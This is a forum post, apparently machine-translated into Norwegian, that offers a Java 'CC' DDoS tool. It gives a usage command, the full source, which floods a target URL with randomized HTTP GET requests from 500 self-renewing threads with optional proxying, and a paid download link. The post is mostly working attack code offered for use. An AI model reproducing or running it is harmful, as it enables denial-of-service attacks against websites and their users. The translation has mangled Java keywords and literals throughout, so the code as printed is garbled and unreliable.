JAR-kode dDOS-angrep implementert av Java. Det er imidlertid ikke annerledes enn tradisjonelle dDo-er. Denne programvaren er et DDOS-angrep på en side. Slik bruker du: Java -jar ccddos.jar www.xxx.com 80 10 /index.do brukernavn=xxx 80
[mw_shl_code=java,true]import java.io.IOException; importere java.net.ConnectException; importere java.net.InetSocketAddress; import java.nio.ByteBuffer; import java.nio.channels.SelectionKey; importere java.nio.channels.Selector; importere java.nio.channels.SocketChannel; import java.util.Iterator; importere java.util.Random; import java.util.Set; import java.util.Timer; import java.util.TimerTask; importere java.util.Vector;
/** * Demontråder
* * @author administrasjon
* */ offentlig klassetest { privat String-vert, uri, param; privat innfartshavn; privat final Vector<CCDDOSThread> v = ny Vector<CCDDOSThread>(); privat InetSocketAddress isa; private int-tråderAntall = 500; Antall tråder privat Tilfeldig r = ny Tilfeldig(); privat lang timeout = 5000 pund;
/** * Åpne angrepet */ public void start() { for (int i = 0; i < threadsCount; i++) { CCDDOSThread t = ny CCDDOSThread(); v.add(t); t.start();
} Timer t = ny Timer(); t.schedule(new TimerTask() { offentlig void run() { int count = 0, timeoutthreads = 0; lang ct = System.currentTimeMillis(); for (Iterator<CCDDOSThread> = v.iterator(); it.hasNext(); ) { CCDDOSThread th = den.neste(); hvis (th.isCancle() || !th.isAlive()) { it.fjern(); th = null; tell++; } ellers hvis (ct - th.start > timeout) { Timeout, ekstern slutt timeoutthreads++; th.setCancle(true); th.interrupt(); it.fjern(); th = null; tell++; } } hvis (antall == 0) { retur; } System.out.println("Tråden har blitt lukket:"+count+", hvor timeout-tråden er koblet til:" + timeout-tråder); for (int i = 0; Jeg < telle; i++) { CCDDOSThread th = ny CCDDOSThread(); v.add(th); th.start(); } } }, 0l, 100p); System.out.println("Daemontråd startet:"); }
/** * @param args */ offentlig statisk void main(String[] args) { hvis (args.length < 6) { System.out.println ("Instruksjoner:"); System.out .println("java org.p3p.net.ccddos.Main <主机> <port> <同时开启的线程数> <URI> <参数> <连接超时> [<代理主机> <代理端口>]"); System.out.println(""); System.exit(0); } ellers hvis (args.length >= 8) { Sett opp med en agent System.getProperties().put("proxySet", "true"); System.getProperties().setProperty("http.proxyHost", args[6]); System.getProperties().setProperty("http.proxyPort", args[7]); }
test m = ny test(); m.host = args[0]; m.port = Integer.valueOf(args[1]); m.uri = args[3]; m.param = args[4]; m.threadsCount = Integer.valueOf(args[2]); m.timeout = Long.valueOf(args[5]); m.isa = ny InetSocketAddress(m.host, m.port); m.start(); }
/** * Angrepstråder * * @author Zhanghongbo * */ class CCDDOSThread utvider Thread { privat boolsk kankel = falsk; offentlig lang start = System.currentTimeMillis();
public void setCancle(boolean cancle) { this.cancle = cancle; }
offentlig boolean isCancle() { returner cancle; }
offentlig void run() { lang start = System.currentTimeMillis(); Velgervelger; try { selector = Selector.open(); SocketChannel sc; try { sc = SocketChannel.open(isa); } catch (ConnectException ex) { System.out.println(ex.getMessage()); cancle = sann; selector.close(); retur; }
sc.configureBlocking(false); sc.register(selector, SelectionKey.OP_WRITE | SelectionKey.OP_READ); wait: while (selector.select() > 0 && !cancle) { hvis (System.currentTimeMillis() - start > timeout) { cancle = sann; Pause vent; } Set<?> readykey = selector.selectedKeys(); Iterator<?> det = readykey.iterator(); mens (it.hasNext() && !cancle) { hvis (System.currentTimeMillis() - start > timeout) { cancle = sann; Pause vent; } SelectionKey skey = (SelectionKey) it.next(); it.fjern(); SocketChannel scc = (SocketChannel) skey.channel();
hvis ((skey.readyOps() & SelectionKey.OP_WRITE) == SelectionKey.OP_WRITE) { Strenghode = "GET " + uri + "?" + param + "&rndnum=" + r.nextInt() + " HTTP/1.1\r\n" + "Host: " + host + "\r\n" + "Connection:close\r\n" + "\r\n"; ByteBuffer bbf = ByteBuffer.wrap(head.getBytes()); scc.write(bbf); } skey.cancel(); scc.close(); } } selector.close(); sc.close();
} catch (IOException ex) { cancle = sann; } } }
} [/mw_shl_code]
Ferdig produkt og kildekode nedlasting:
java ddos.zip
(8.42 KB, Antall nedlastinger: 0, Salgspris: 2 Korn MB)
|